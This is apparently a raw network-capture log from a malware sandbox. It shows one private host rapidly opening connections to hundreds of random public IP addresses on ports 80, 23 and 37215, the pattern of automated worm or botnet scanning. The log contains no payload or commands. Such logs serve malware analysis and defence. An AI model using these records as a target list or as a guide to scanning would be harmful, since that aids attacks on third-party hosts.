Dec 3, 2024 22:02:01.895828962 CET	39296	80	192.168.2.14	207.56.135.141
Dec 3, 2024 22:02:01.895833969 CET	39296	80	192.168.2.14	175.160.176.89
Dec 3, 2024 22:02:01.895842075 CET	39296	80	192.168.2.14	196.234.245.94
Dec 3, 2024 22:02:01.895855904 CET	39296	80	192.168.2.14	66.18.28.189
Dec 3, 2024 22:02:01.895858049 CET	39296	80	192.168.2.14	66.120.19.161
Dec 3, 2024 22:02:01.895868063 CET	39296	80	192.168.2.14	85.13.36.110
Dec 3, 2024 22:02:01.895874977 CET	39296	80	192.168.2.14	88.123.103.158
Dec 3, 2024 22:02:01.895886898 CET	39296	80	192.168.2.14	47.82.231.87
Dec 3, 2024 22:02:01.895908117 CET	39296	80	192.168.2.14	165.126.152.193
Dec 3, 2024 22:02:01.895910025 CET	39296	80	192.168.2.14	51.50.212.219
Dec 3, 2024 22:02:01.895910025 CET	39296	80	192.168.2.14	187.55.100.30
Dec 3, 2024 22:02:01.895910025 CET	39296	80	192.168.2.14	198.28.252.210
Dec 3, 2024 22:02:01.895919085 CET	39296	80	192.168.2.14	5.141.191.71
Dec 3, 2024 22:02:01.895929098 CET	39296	80	192.168.2.14	85.46.171.28
Dec 3, 2024 22:02:01.895935059 CET	39296	80	192.168.2.14	196.212.190.125
Dec 3, 2024 22:02:01.895946026 CET	39296	80	192.168.2.14	27.32.252.152
Dec 3, 2024 22:02:01.895953894 CET	39296	80	192.168.2.14	139.244.158.107
Dec 3, 2024 22:02:01.895962954 CET	39296	80	192.168.2.14	201.118.48.62
Dec 3, 2024 22:02:01.895968914 CET	39296	80	192.168.2.14	148.13.54.42
Dec 3, 2024 22:02:01.895979881 CET	39296	80	192.168.2.14	180.81.130.123
Dec 3, 2024 22:02:01.895989895 CET	39296	80	192.168.2.14	48.222.139.211
Dec 3, 2024 22:02:01.896006107 CET	39296	80	192.168.2.14	57.63.168.73
Dec 3, 2024 22:02:01.896008968 CET	39296	80	192.168.2.14	151.69.209.179
Dec 3, 2024 22:02:01.896013975 CET	39296	80	192.168.2.14	173.56.118.76
Dec 3, 2024 22:02:01.896018982 CET	39296	80	192.168.2.14	182.202.31.70
Dec 3, 2024 22:02:01.896025896 CET	39296	80	192.168.2.14	31.16.241.131
Dec 3, 2024 22:02:01.896040916 CET	39296	80	192.168.2.14	44.57.99.161
Dec 3, 2024 22:02:01.896048069 CET	39296	80	192.168.2.14	129.186.198.43
Dec 3, 2024 22:02:01.896054029 CET	39296	80	192.168.2.14	150.6.130.2
Dec 3, 2024 22:02:01.896068096 CET	39296	80	192.168.2.14	195.22.200.221
Dec 3, 2024 22:02:01.896075010 CET	39296	80	192.168.2.14	137.82.99.238
Dec 3, 2024 22:02:01.896083117 CET	39296	80	192.168.2.14	143.254.212.242
Dec 3, 2024 22:02:01.896083117 CET	39296	80	192.168.2.14	187.175.96.186
Dec 3, 2024 22:02:01.896095037 CET	39296	80	192.168.2.14	138.232.226.201
Dec 3, 2024 22:02:01.896106005 CET	39296	80	192.168.2.14	9.86.16.122
Dec 3, 2024 22:02:01.896111965 CET	39296	80	192.168.2.14	12.144.169.145
Dec 3, 2024 22:02:01.896116972 CET	39296	80	192.168.2.14	76.9.52.61
Dec 3, 2024 22:02:01.896130085 CET	39296	80	192.168.2.14	182.128.236.35
Dec 3, 2024 22:02:01.896133900 CET	39296	80	192.168.2.14	108.143.188.30
Dec 3, 2024 22:02:01.896146059 CET	39296	80	192.168.2.14	58.210.94.224
Dec 3, 2024 22:02:01.896153927 CET	39296	80	192.168.2.14	95.223.47.209
Dec 3, 2024 22:02:01.896167994 CET	39296	80	192.168.2.14	118.239.95.194
Dec 3, 2024 22:02:01.896172047 CET	39296	80	192.168.2.14	189.102.142.232
Dec 3, 2024 22:02:01.896179914 CET	39296	80	192.168.2.14	54.137.50.48
Dec 3, 2024 22:02:01.896193027 CET	39296	80	192.168.2.14	206.44.223.190
Dec 3, 2024 22:02:01.896203041 CET	39296	80	192.168.2.14	74.31.31.36
Dec 3, 2024 22:02:01.896212101 CET	39296	80	192.168.2.14	4.241.228.72
Dec 3, 2024 22:02:01.896214008 CET	39296	80	192.168.2.14	18.240.148.122
Dec 3, 2024 22:02:01.896222115 CET	39296	80	192.168.2.14	125.71.64.8
Dec 3, 2024 22:02:01.896229982 CET	39296	80	192.168.2.14	81.33.194.163
Dec 3, 2024 22:02:01.896234989 CET	39296	80	192.168.2.14	108.204.42.63
Dec 3, 2024 22:02:01.896250010 CET	39296	80	192.168.2.14	25.62.218.187
Dec 3, 2024 22:02:01.896250963 CET	39296	80	192.168.2.14	112.57.16.214
Dec 3, 2024 22:02:01.896262884 CET	39296	80	192.168.2.14	205.197.91.180
Dec 3, 2024 22:02:01.896270037 CET	39296	80	192.168.2.14	184.172.142.220
Dec 3, 2024 22:02:01.896277905 CET	39296	80	192.168.2.14	106.248.65.125
Dec 3, 2024 22:02:01.896282911 CET	39296	80	192.168.2.14	45.243.214.42
Dec 3, 2024 22:02:01.896296024 CET	39296	80	192.168.2.14	193.77.232.124
Dec 3, 2024 22:02:01.896302938 CET	39296	80	192.168.2.14	40.43.146.92
Dec 3, 2024 22:02:01.896313906 CET	39296	80	192.168.2.14	87.164.146.87
Dec 3, 2024 22:02:01.896317005 CET	39296	80	192.168.2.14	90.111.17.20
Dec 3, 2024 22:02:01.896327972 CET	39296	80	192.168.2.14	156.229.101.227
Dec 3, 2024 22:02:01.896337032 CET	39296	80	192.168.2.14	180.135.64.27
Dec 3, 2024 22:02:01.896342039 CET	39296	80	192.168.2.14	65.69.38.76
Dec 3, 2024 22:02:01.896353960 CET	39296	80	192.168.2.14	191.202.200.117
Dec 3, 2024 22:02:01.896359921 CET	39296	80	192.168.2.14	24.140.79.147
Dec 3, 2024 22:02:01.896373034 CET	39296	80	192.168.2.14	118.48.158.158
Dec 3, 2024 22:02:01.896378040 CET	39296	80	192.168.2.14	174.163.229.114
Dec 3, 2024 22:02:01.896380901 CET	39296	80	192.168.2.14	78.59.220.52
Dec 3, 2024 22:02:01.896404982 CET	39296	80	192.168.2.14	47.154.119.216
Dec 3, 2024 22:02:01.896404982 CET	39296	80	192.168.2.14	223.239.149.33
Dec 3, 2024 22:02:01.896409035 CET	39296	80	192.168.2.14	111.211.213.127
Dec 3, 2024 22:02:01.896413088 CET	39296	80	192.168.2.14	199.251.48.132
Dec 3, 2024 22:02:01.896425009 CET	39296	80	192.168.2.14	150.128.121.173
Dec 3, 2024 22:02:01.896434069 CET	39296	80	192.168.2.14	161.240.81.12
Dec 3, 2024 22:02:01.896452904 CET	39296	80	192.168.2.14	44.30.178.34
Dec 3, 2024 22:02:01.896471024 CET	39296	80	192.168.2.14	93.61.82.72
Dec 3, 2024 22:02:01.896476030 CET	39296	80	192.168.2.14	123.212.227.203
Dec 3, 2024 22:02:01.896481037 CET	39296	80	192.168.2.14	203.203.39.241
Dec 3, 2024 22:02:01.896502018 CET	39296	80	192.168.2.14	144.72.137.24
Dec 3, 2024 22:02:01.896502018 CET	39296	80	192.168.2.14	185.182.31.103
Dec 3, 2024 22:02:01.896517038 CET	39296	80	192.168.2.14	208.6.126.202
Dec 3, 2024 22:02:01.896517038 CET	39296	80	192.168.2.14	84.136.84.31
Dec 3, 2024 22:02:01.896524906 CET	39296	80	192.168.2.14	106.206.165.179
Dec 3, 2024 22:02:01.896533966 CET	39296	80	192.168.2.14	176.48.247.25
Dec 3, 2024 22:02:01.896543026 CET	39296	80	192.168.2.14	1.230.84.5
Dec 3, 2024 22:02:01.896549940 CET	39296	80	192.168.2.14	93.253.41.16
Dec 3, 2024 22:02:01.896554947 CET	39296	80	192.168.2.14	117.42.170.38
Dec 3, 2024 22:02:01.896569014 CET	39296	80	192.168.2.14	220.88.20.180
Dec 3, 2024 22:02:01.896584988 CET	39296	80	192.168.2.14	35.225.226.122
Dec 3, 2024 22:02:01.896588087 CET	39296	80	192.168.2.14	75.195.3.126
Dec 3, 2024 22:02:01.896595955 CET	39296	80	192.168.2.14	124.35.233.178
Dec 3, 2024 22:02:01.896595955 CET	39296	80	192.168.2.14	128.174.85.44
Dec 3, 2024 22:02:01.896610022 CET	39296	80	192.168.2.14	103.19.193.134
Dec 3, 2024 22:02:01.896620989 CET	39296	80	192.168.2.14	201.156.205.145
Dec 3, 2024 22:02:01.896634102 CET	39296	80	192.168.2.14	50.70.183.119
Dec 3, 2024 22:02:01.896641016 CET	39296	80	192.168.2.14	50.158.111.201
Dec 3, 2024 22:02:01.896641016 CET	39296	80	192.168.2.14	37.7.58.54
Dec 3, 2024 22:02:01.896651983 CET	39296	80	192.168.2.14	118.240.246.37
Dec 3, 2024 22:02:01.896657944 CET	39296	80	192.168.2.14	48.155.31.87
Dec 3, 2024 22:02:01.896671057 CET	39296	80	192.168.2.14	80.56.112.180
Dec 3, 2024 22:02:01.896678925 CET	39296	80	192.168.2.14	88.248.72.208
Dec 3, 2024 22:02:01.896681070 CET	39296	80	192.168.2.14	101.146.139.123
Dec 3, 2024 22:02:01.896691084 CET	39296	80	192.168.2.14	69.207.217.21
Dec 3, 2024 22:02:01.896694899 CET	39296	80	192.168.2.14	206.119.225.24
Dec 3, 2024 22:02:01.896703005 CET	39296	80	192.168.2.14	198.208.32.194
Dec 3, 2024 22:02:01.896713018 CET	39296	80	192.168.2.14	36.135.91.184
Dec 3, 2024 22:02:01.896718025 CET	39296	80	192.168.2.14	5.215.6.161
Dec 3, 2024 22:02:01.896733999 CET	39296	80	192.168.2.14	17.225.86.208
Dec 3, 2024 22:02:01.896738052 CET	39296	80	192.168.2.14	184.197.182.6
Dec 3, 2024 22:02:01.896748066 CET	39296	80	192.168.2.14	148.198.122.84
Dec 3, 2024 22:02:01.896756887 CET	39296	80	192.168.2.14	159.94.195.165
Dec 3, 2024 22:02:01.896768093 CET	39296	80	192.168.2.14	195.208.4.203
Dec 3, 2024 22:02:01.896773100 CET	39296	80	192.168.2.14	20.133.201.40
Dec 3, 2024 22:02:01.896783113 CET	39296	80	192.168.2.14	204.119.201.11
Dec 3, 2024 22:02:01.896783113 CET	39296	80	192.168.2.14	36.113.18.121
Dec 3, 2024 22:02:01.896796942 CET	39296	80	192.168.2.14	186.28.92.238
Dec 3, 2024 22:02:01.896800995 CET	39296	80	192.168.2.14	198.85.124.81
Dec 3, 2024 22:02:01.896811962 CET	39296	80	192.168.2.14	83.248.196.228
Dec 3, 2024 22:02:01.896821976 CET	39296	80	192.168.2.14	97.14.59.142
Dec 3, 2024 22:02:01.896837950 CET	39296	80	192.168.2.14	171.162.185.165
Dec 3, 2024 22:02:01.896845102 CET	39296	80	192.168.2.14	203.111.209.0
Dec 3, 2024 22:02:01.896850109 CET	39296	80	192.168.2.14	51.94.14.105
Dec 3, 2024 22:02:01.896853924 CET	39296	80	192.168.2.14	143.32.235.164
Dec 3, 2024 22:02:01.896863937 CET	39296	80	192.168.2.14	155.164.225.158
Dec 3, 2024 22:02:01.896871090 CET	39296	80	192.168.2.14	92.231.17.212
Dec 3, 2024 22:02:01.896878958 CET	39296	80	192.168.2.14	35.172.72.123
Dec 3, 2024 22:02:01.896883011 CET	39296	80	192.168.2.14	173.37.165.19
Dec 3, 2024 22:02:01.896897078 CET	39296	80	192.168.2.14	197.211.242.53
Dec 3, 2024 22:02:01.896905899 CET	39296	80	192.168.2.14	175.184.114.239
Dec 3, 2024 22:02:01.896914005 CET	39296	80	192.168.2.14	183.136.0.109
Dec 3, 2024 22:02:01.896919012 CET	39296	80	192.168.2.14	53.197.228.193
Dec 3, 2024 22:02:01.896928072 CET	39296	80	192.168.2.14	173.221.131.30
Dec 3, 2024 22:02:01.896943092 CET	39296	80	192.168.2.14	73.62.95.15
Dec 3, 2024 22:02:01.896945000 CET	39296	80	192.168.2.14	130.35.162.5
Dec 3, 2024 22:02:01.896951914 CET	39296	80	192.168.2.14	92.230.208.183
Dec 3, 2024 22:02:01.896962881 CET	39296	80	192.168.2.14	99.138.21.193
Dec 3, 2024 22:02:01.896967888 CET	39296	80	192.168.2.14	201.233.254.233
Dec 3, 2024 22:02:01.896972895 CET	39296	80	192.168.2.14	199.89.172.169
Dec 3, 2024 22:02:01.896986961 CET	39296	80	192.168.2.14	155.96.34.14
Dec 3, 2024 22:02:01.896995068 CET	39296	80	192.168.2.14	36.243.89.61
Dec 3, 2024 22:02:01.896995068 CET	39296	80	192.168.2.14	216.149.241.34
Dec 3, 2024 22:02:01.897008896 CET	39296	80	192.168.2.14	147.117.88.82
Dec 3, 2024 22:02:01.897017002 CET	39296	80	192.168.2.14	204.169.119.191
Dec 3, 2024 22:02:01.897030115 CET	39296	80	192.168.2.14	74.115.14.226
Dec 3, 2024 22:02:01.897030115 CET	39296	80	192.168.2.14	130.35.156.196
Dec 3, 2024 22:02:01.897037983 CET	39296	80	192.168.2.14	18.116.248.125
Dec 3, 2024 22:02:01.897052050 CET	39296	80	192.168.2.14	163.118.88.160
Dec 3, 2024 22:02:01.897066116 CET	39296	80	192.168.2.14	14.62.182.28
Dec 3, 2024 22:02:01.897066116 CET	39296	80	192.168.2.14	180.93.3.20
Dec 3, 2024 22:02:01.897073984 CET	39296	80	192.168.2.14	152.178.43.159
Dec 3, 2024 22:02:01.897087097 CET	39296	80	192.168.2.14	204.178.200.191
Dec 3, 2024 22:02:01.897093058 CET	39296	80	192.168.2.14	160.110.227.137
Dec 3, 2024 22:02:01.897100925 CET	39296	80	192.168.2.14	88.18.26.233
Dec 3, 2024 22:02:01.897109985 CET	39296	80	192.168.2.14	145.158.115.55
Dec 3, 2024 22:02:01.897116899 CET	39296	80	192.168.2.14	165.109.141.97
Dec 3, 2024 22:02:01.897125959 CET	39296	80	192.168.2.14	41.94.59.109
Dec 3, 2024 22:02:01.897125959 CET	39296	80	192.168.2.14	136.214.154.131
Dec 3, 2024 22:02:01.897140026 CET	39296	80	192.168.2.14	96.205.54.247
Dec 3, 2024 22:02:01.897149086 CET	39296	80	192.168.2.14	170.135.49.5
Dec 3, 2024 22:02:01.897157907 CET	39296	80	192.168.2.14	104.53.60.186
Dec 3, 2024 22:02:01.897166014 CET	39296	80	192.168.2.14	66.21.106.4
Dec 3, 2024 22:02:01.897175074 CET	39296	80	192.168.2.14	66.160.213.8
Dec 3, 2024 22:02:01.897181988 CET	39296	80	192.168.2.14	162.215.184.172
Dec 3, 2024 22:02:01.897201061 CET	39296	80	192.168.2.14	36.214.171.18
Dec 3, 2024 22:02:01.897212029 CET	39296	80	192.168.2.14	49.128.97.249
Dec 3, 2024 22:02:01.897212029 CET	39296	80	192.168.2.14	143.159.36.80
Dec 3, 2024 22:02:01.897216082 CET	39296	80	192.168.2.14	152.23.118.253
Dec 3, 2024 22:02:01.897232056 CET	39296	80	192.168.2.14	67.103.89.163
Dec 3, 2024 22:02:01.897233963 CET	39296	80	192.168.2.14	32.186.35.88
Dec 3, 2024 22:02:01.897233963 CET	39296	80	192.168.2.14	144.160.182.77
Dec 3, 2024 22:02:01.897248983 CET	39296	80	192.168.2.14	187.25.187.56
Dec 3, 2024 22:02:01.897248983 CET	39296	80	192.168.2.14	102.143.68.8
Dec 3, 2024 22:02:01.897260904 CET	39296	80	192.168.2.14	62.157.53.247
Dec 3, 2024 22:02:01.897272110 CET	39296	80	192.168.2.14	153.166.182.91
Dec 3, 2024 22:02:01.897279024 CET	39296	80	192.168.2.14	19.215.11.190
Dec 3, 2024 22:02:01.897284031 CET	39296	80	192.168.2.14	204.224.53.216
Dec 3, 2024 22:02:01.897295952 CET	39296	80	192.168.2.14	57.136.231.81
Dec 3, 2024 22:02:01.897303104 CET	39296	80	192.168.2.14	109.33.194.124
Dec 3, 2024 22:02:01.897308111 CET	39296	80	192.168.2.14	97.25.58.81
Dec 3, 2024 22:02:01.897319078 CET	39296	80	192.168.2.14	34.199.158.99
Dec 3, 2024 22:02:01.897325039 CET	39296	80	192.168.2.14	190.120.78.42
Dec 3, 2024 22:02:01.897336006 CET	39296	80	192.168.2.14	17.16.196.40
Dec 3, 2024 22:02:01.897346020 CET	39296	80	192.168.2.14	170.142.26.46
Dec 3, 2024 22:02:01.897353888 CET	39296	80	192.168.2.14	218.197.244.27
Dec 3, 2024 22:02:01.897366047 CET	39296	80	192.168.2.14	168.247.222.2
Dec 3, 2024 22:02:01.897372007 CET	39296	80	192.168.2.14	210.245.224.50
Dec 3, 2024 22:02:01.897378922 CET	39296	80	192.168.2.14	170.138.45.155
Dec 3, 2024 22:02:01.897388935 CET	39296	80	192.168.2.14	136.60.40.216
Dec 3, 2024 22:02:01.897391081 CET	39296	80	192.168.2.14	154.10.116.26
Dec 3, 2024 22:02:01.897403955 CET	39296	80	192.168.2.14	31.14.255.152
Dec 3, 2024 22:02:01.897414923 CET	39296	80	192.168.2.14	27.190.4.18
Dec 3, 2024 22:02:01.897463083 CET	53388	80	192.168.2.14	182.197.9.130
Dec 3, 2024 22:02:01.897465944 CET	56668	23	192.168.2.14	160.135.216.227
Dec 3, 2024 22:02:01.897471905 CET	42650	23	192.168.2.14	115.38.120.79
Dec 3, 2024 22:02:01.897473097 CET	45832	80	192.168.2.14	60.237.166.35
Dec 3, 2024 22:02:01.897480011 CET	47416	23	192.168.2.14	59.90.193.67
Dec 3, 2024 22:02:01.897480011 CET	59134	23	192.168.2.14	184.7.115.224
Dec 3, 2024 22:02:01.897488117 CET	39022	23	192.168.2.14	66.214.221.169
Dec 3, 2024 22:02:01.897488117 CET	55308	23	192.168.2.14	89.218.163.123
Dec 3, 2024 22:02:01.897488117 CET	56540	23	192.168.2.14	175.145.253.130
Dec 3, 2024 22:02:01.897488117 CET	42788	23	192.168.2.14	73.76.156.168
Dec 3, 2024 22:02:01.897488117 CET	42022	23	192.168.2.14	195.76.82.241
Dec 3, 2024 22:02:01.897497892 CET	51250	23	192.168.2.14	131.193.182.54
Dec 3, 2024 22:02:01.897499084 CET	54916	23	192.168.2.14	14.136.211.123
Dec 3, 2024 22:02:01.897499084 CET	33558	23	192.168.2.14	219.246.174.21
Dec 3, 2024 22:02:01.897499084 CET	40862	23	192.168.2.14	97.247.114.67
Dec 3, 2024 22:02:01.897501945 CET	34748	23	192.168.2.14	154.57.243.108
Dec 3, 2024 22:02:01.897501945 CET	40134	23	192.168.2.14	135.138.34.162
Dec 3, 2024 22:02:01.897505999 CET	55992	37215	192.168.2.14	197.154.225.139
Dec 3, 2024 22:02:01.897505999 CET	58936	23	192.168.2.14	196.73.121.22
Dec 3, 2024 22:02:01.897505999 CET	37760	23	192.168.2.14	65.78.157.20
Dec 3, 2024 22:02:01.897505999 CET	37314	23	192.168.2.14	177.230.239.93
Dec 3, 2024 22:02:01.897505999 CET	48982	23	192.168.2.14	69.247.55.162
Dec 3, 2024 22:02:01.897505999 CET	46494	23	192.168.2.14	72.252.221.216
Dec 3, 2024 22:02:01.897511005 CET	41246	23	192.168.2.14	40.120.172.73
Dec 3, 2024 22:02:01.897511005 CET	52390	23	192.168.2.14	221.251.241.251
Dec 3, 2024 22:02:01.897511959 CET	47100	23	192.168.2.14	158.203.26.242
Dec 3, 2024 22:02:01.897511959 CET	58672	23	192.168.2.14	210.74.210.19
Dec 3, 2024 22:02:01.897521019 CET	57604	23	192.168.2.14	84.105.253.51
Dec 3, 2024 22:02:01.897526026 CET	38938	23	192.168.2.14	61.102.46.152
Dec 3, 2024 22:02:01.897530079 CET	50566	23	192.168.2.14	89.190.150.69
Dec 3, 2024 22:02:01.897533894 CET	47186	23	192.168.2.14	14.70.142.212
Dec 3, 2024 22:02:01.897536039 CET	41926	23	192.168.2.14	45.195.72.70
Dec 3, 2024 22:02:01.897537947 CET	42856	23	192.168.2.14	92.38.136.104
Dec 3, 2024 22:02:01.897542953 CET	47010	23	192.168.2.14	148.136.178.84
Dec 3, 2024 22:02:01.897547960 CET	37060	23	192.168.2.14	193.49.183.17
Dec 3, 2024 22:02:01.897550106 CET	45410	23	192.168.2.14	119.199.83.42
Dec 3, 2024 22:02:01.897551060 CET	60850	23	192.168.2.14	60.180.252.75
Dec 3, 2024 22:02:01.897556067 CET	36046	23	192.168.2.14	195.100.239.208
Dec 3, 2024 22:02:01.897558928 CET	33806	23	192.168.2.14	157.72.31.213
Dec 3, 2024 22:02:01.897572994 CET	34148	23	192.168.2.14	212.36.35.12
Dec 3, 2024 22:02:01.897573948 CET	56232	23	192.168.2.14	143.219.149.54
Dec 3, 2024 22:02:01.897574902 CET	58922	23	192.168.2.14	97.151.143.245
Dec 3, 2024 22:02:01.897577047 CET	50270	23	192.168.2.14	154.15.98.17
Dec 3, 2024 22:02:01.897578955 CET	54100	23	192.168.2.14	5.116.153.208
Dec 3, 2024 22:02:01.897583961 CET	32850	23	192.168.2.14	128.161.30.114
Dec 3, 2024 22:02:01.897583961 CET	53370	23	192.168.2.14	130.124.140.220
Dec 3, 2024 22:02:01.897583961 CET	57530	23	192.168.2.14	94.116.239.39
Dec 3, 2024 22:02:01.897589922 CET	38240	23	192.168.2.14	115.166.244.237
Dec 3, 2024 22:02:01.897598028 CET	34478	23	192.168.2.14	168.119.91.255
Dec 3, 2024 22:02:01.897603989 CET	51298	23	192.168.2.14	13.124.229.68
Dec 3, 2024 22:02:01.929476023 CET	58466	23	192.168.2.14	155.143.127.153
Dec 3, 2024 22:02:01.929490089 CET	36958	23	192.168.2.14	157.191.153.182
Dec 3, 2024 22:02:01.929495096 CET	42176	23	192.168.2.14	114.125.101.1
Dec 3, 2024 22:02:01.929498911 CET	43750	23	192.168.2.14	136.255.16.98
Dec 3, 2024 22:02:01.929498911 CET	39770	23	192.168.2.14	198.17.196.53
Dec 3, 2024 22:02:01.929503918 CET	35834	23	192.168.2.14	122.20.162.86
Dec 3, 2024 22:02:01.929507017 CET	42842	23	192.168.2.14	198.181.223.122
Dec 3, 2024 22:02:01.929507017 CET	48774	23	192.168.2.14	219.94.155.198
Dec 3, 2024 22:02:01.929518938 CET	47690	23	192.168.2.14	143.25.199.21
Dec 3, 2024 22:02:01.929518938 CET	54988	23	192.168.2.14	27.148.244.238
Dec 3, 2024 22:02:01.929519892 CET	39996	23	192.168.2.14	122.215.8.16
Dec 3, 2024 22:02:01.929519892 CET	51904	23	192.168.2.14	123.104.175.31
Dec 3, 2024 22:02:01.929519892 CET	50242	23	192.168.2.14	149.203.109.186
Dec 3, 2024 22:02:01.929522991 CET	58008	23	192.168.2.14	222.73.93.37
Dec 3, 2024 22:02:01.929522991 CET	55628	23	192.168.2.14	66.48.92.123
Dec 3, 2024 22:02:01.929522991 CET	40806	23	192.168.2.14	198.152.174.23
Dec 3, 2024 22:02:01.929524899 CET	47336	23	192.168.2.14	50.100.12.31
Dec 3, 2024 22:02:01.929527044 CET	57258	23	192.168.2.14	91.200.13.185
Dec 3, 2024 22:02:01.929537058 CET	58280	23	192.168.2.14	163.183.101.176
Dec 3, 2024 22:02:01.929537058 CET	46980	23	192.168.2.14	8.226.44.4
Dec 3, 2024 22:02:01.929538965 CET	37286	23	192.168.2.14	207.20.208.130
Dec 3, 2024 22:02:01.929538965 CET	36132	23	192.168.2.14	63.159.212.211
Dec 3, 2024 22:02:01.929539919 CET	43912	23	192.168.2.14	157.54.143.191
Dec 3, 2024 22:02:01.929539919 CET	34446	23	192.168.2.14	197.146.173.147
Dec 3, 2024 22:02:01.929542065 CET	51270	23	192.168.2.14	200.214.25.121
Dec 3, 2024 22:02:01.929542065 CET	36318	23	192.168.2.14	169.185.210.240
Dec 3, 2024 22:02:01.929543018 CET	58534	23	192.168.2.14	119.162.54.61
Dec 3, 2024 22:02:01.929563999 CET	58908	23	192.168.2.14	192.115.242.217
Dec 3, 2024 22:02:01.961553097 CET	43730	23	192.168.2.14	1.151.38.158
Dec 3, 2024 22:02:01.961555958 CET	53412	23	192.168.2.14	78.118.253.168
Dec 3, 2024 22:02:01.961559057 CET	50126	23	192.168.2.14	84.29.78.100
Dec 3, 2024 22:02:01.961571932 CET	56762	23	192.168.2.14	46.236.147.29
Dec 3, 2024 22:02:01.961571932 CET	36934	23	192.168.2.14	106.94.213.34
Dec 3, 2024 22:02:01.961571932 CET	34466	23	192.168.2.14	57.173.44.141
Dec 3, 2024 22:02:01.961571932 CET	44302	23	192.168.2.14	47.107.208.217
Dec 3, 2024 22:02:01.961571932 CET	47990	23	192.168.2.14	83.126.32.218
Dec 3, 2024 22:02:01.961580038 CET	33156	23	192.168.2.14	94.182.226.117
Dec 3, 2024 22:02:01.961581945 CET	45766	23	192.168.2.14	135.5.244.226
Dec 3, 2024 22:02:01.961581945 CET	38812	23	192.168.2.14	193.104.160.9
Dec 3, 2024 22:02:01.961581945 CET	57486	23	192.168.2.14	48.34.198.188
Dec 3, 2024 22:02:01.961586952 CET	52166	23	192.168.2.14	78.49.218.0
Dec 3, 2024 22:02:02.013226032 CET	37215	40832	156.72.185.93	192.168.2.14
Dec 3, 2024 22:02:02.013252020 CET	37215	40832	156.180.52.49	192.168.2.14
Dec 3, 2024 22:02:02.013267994 CET	37215	40832	197.231.16.59	192.168.2.14
Dec 3, 2024 22:02:02.013286114 CET	37215	40832	41.153.253.195	192.168.2.14
Dec 3, 2024 22:02:02.013308048 CET	37215	40832	156.8.122.245	192.168.2.14
Dec 3, 2024 22:02:02.013318062 CET	37215	40832	197.100.58.133	192.168.2.14
Dec 3, 2024 22:02:02.013341904 CET	37215	40832	41.163.239.113	192.168.2.14
Dec 3, 2024 22:02:02.013380051 CET	37215	40832	41.154.31.154	192.168.2.14
Dec 3, 2024 22:02:02.013384104 CET	40832	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:02.013384104 CET	40832	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:02.013384104 CET	40832	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:02.013384104 CET	40832	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:02.013396025 CET	40832	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:02.013397932 CET	40832	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:02.013401031 CET	40832	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:02.013408899 CET	40832	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:02.013426065 CET	37215	40832	197.71.140.80	192.168.2.14
Dec 3, 2024 22:02:02.013453960 CET	37215	40832	197.217.251.3	192.168.2.14
Dec 3, 2024 22:02:02.013462067 CET	40832	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:02.013487101 CET	40832	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:02.013540983 CET	37215	40832	197.198.132.132	192.168.2.14
Dec 3, 2024 22:02:02.013556957 CET	37215	40832	156.55.125.14	192.168.2.14
Dec 3, 2024 22:02:02.013566971 CET	37215	40832	156.161.126.173	192.168.2.14
Dec 3, 2024 22:02:02.013576984 CET	37215	40832	156.183.203.242	192.168.2.14
Dec 3, 2024 22:02:02.013577938 CET	40832	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:02.013586998 CET	40832	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:02.013593912 CET	37215	40832	197.152.168.4	192.168.2.14
Dec 3, 2024 22:02:02.013595104 CET	40832	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:02.013601065 CET	40832	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:02.013611078 CET	37215	40832	156.204.54.116	192.168.2.14
Dec 3, 2024 22:02:02.013618946 CET	37215	40832	156.131.137.8	192.168.2.14
Dec 3, 2024 22:02:02.013629913 CET	37215	40832	156.71.207.31	192.168.2.14
Dec 3, 2024 22:02:02.013632059 CET	40832	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:02.013632059 CET	40832	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:02.013645887 CET	40832	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:02.013655901 CET	37215	40832	197.86.98.63	192.168.2.14
Dec 3, 2024 22:02:02.013664007 CET	40832	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:02.013673067 CET	37215	40832	197.227.173.107	192.168.2.14
Dec 3, 2024 22:02:02.013683081 CET	37215	40832	41.233.227.101	192.168.2.14
Dec 3, 2024 22:02:02.013688087 CET	40832	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:02.013695955 CET	37215	40832	41.231.216.149	192.168.2.14
Dec 3, 2024 22:02:02.013703108 CET	40832	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:02.013720989 CET	40832	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:02.013720989 CET	40832	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:02.013747931 CET	37215	40832	156.218.161.155	192.168.2.14
Dec 3, 2024 22:02:02.013762951 CET	37215	40832	156.97.134.32	192.168.2.14
Dec 3, 2024 22:02:02.013781071 CET	40832	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:02.013784885 CET	37215	40832	197.49.101.41	192.168.2.14
Dec 3, 2024 22:02:02.013797045 CET	37215	40832	41.246.60.179	192.168.2.14
Dec 3, 2024 22:02:02.013803005 CET	40832	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:02.013814926 CET	37215	40832	41.10.137.114	192.168.2.14
Dec 3, 2024 22:02:02.013818026 CET	40832	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:02.013818979 CET	40832	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:02.013840914 CET	40832	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:02.013870001 CET	37215	40832	41.68.117.52	192.168.2.14
Dec 3, 2024 22:02:02.013900995 CET	40832	37215	192.168.2.14	41.68.117.52
